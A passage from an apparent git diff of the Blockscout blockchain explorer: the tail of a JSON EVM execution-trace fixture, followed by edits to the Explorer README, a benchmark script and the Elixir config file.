40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14345,"op":"POP","gas":1882,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x424","0x1a2","0x3a4","0x0","0x20","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14346,"op":"POP","gas":1880,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x424","0x1a2","0x3a4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14347,"op":"POP","gas":1878,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x424","0x1a2","0x3a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14348,"op":"POP","gas":1876,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x424","0x1a2","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14349,"op":"JUMP","gas":1874,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x424","0x1a2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":418,"op":"JUMPDEST","gas":1866,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x424"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":419,"op":"PUSH1","gas":1865,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x424"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":421,"op":"MLOAD","gas":1862,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x424","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":422,"op":"DUP1","gas":1859,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x424","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":423,"op":"SWAP2","gas":1856,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x424","0x3a4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":424,"op":"SUB","gas":1853,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x3a4","0x3a4","0x424"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":425,"op":"SWAP1","gas":1850,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x3a4","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":426,"op":"RETURN","gas":1847,"gasCost":0,"depth":1,"stack":["0x18cbafe5","0x80","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700}]}} \ No newline at end of file diff --git a/apps/explorer/README.md b/apps/explorer/README.md index 4064224aba7d..c283c1c5214d 100644 --- a/apps/explorer/README.md +++ b/apps/explorer/README.md @@ -1,6 +1,6 @@ -# BlockScout +# Explorer -This is a tool for inspecting and analyzing the POA Network blockchain. +The Explorer component of Blockscout stores, processes, and serves blockchain data ingested by the Indexer. It provides a high-level data access layer through modules like Explorer.Chain and Explorer.Repo that interface with a PostgreSQL database, with schema migrations managed in `apps/explorer/priv/repo/migrations`. It features a structured multi-stage ETL pipeline used by the Indexer to import and transform blockchain data. The system includes chain-specific modules and configurations tailored for various EVM networks. It supports smart contract verification by managing compilation, versioning, and detecting proxy patterns. On-demand data fetching is available and is invoked by the BlockScoutWeb API server to support features such as contract verification. Release tasks are incorporated for database setup and migrations. Additional modules handle account management, market data processing, and event subscriptions to keep clients updated on blockchain data changes. Specialized modules manage both schema and long-running data migrations, including backfilling and index optimizations. ## Machine Requirements diff --git a/apps/explorer/benchmarks/explorer/chain/recent_collated_transactions.exs b/apps/explorer/benchmarks/explorer/chain/recent_collated_transactions.exs index 8b6096658ac0..335844236ea0 100644 --- a/apps/explorer/benchmarks/explorer/chain/recent_collated_transactions.exs +++ b/apps/explorer/benchmarks/explorer/chain/recent_collated_transactions.exs @@ -8,7 +8,7 @@ alias Explorer.Chain.Block Benchee.run( %{ "Explorer.Chain.recent_collated_transactions" => fn _ -> - Chain.recent_collated_transactions() + Chain.recent_collated_transactions(true) end }, inputs: %{ diff --git a/apps/explorer/config/config.exs b/apps/explorer/config/config.exs index cc58587a54ad..b7a2acc14ffa 100644 --- a/apps/explorer/config/config.exs +++ b/apps/explorer/config/config.exs @@ -5,91 +5,194 @@ # is restricted to this project. import Config +[__DIR__ | ~w(.. .. .. config config_helper.exs)] +|> Path.join() +|> Code.eval_file() + # General application configuration config :explorer, - ecto_repos: [Explorer.Repo], - token_functions_reader_max_retries: 3 - -config :explorer, Explorer.Counters.AverageBlockTime, - enabled: true, - period: :timer.minutes(10) + chain_type: ConfigHelper.chain_type(), + ecto_repos: ConfigHelper.repos(), + token_functions_reader_max_retries: 3, + # for not fully indexed blockchains + decode_not_a_contract_calls: ConfigHelper.parse_bool_env_var("DECODE_NOT_A_CONTRACT_CALLS") config :explorer, Explorer.ChainSpec.GenesisData, enabled: true config :explorer, Explorer.Chain.Cache.BlockNumber, 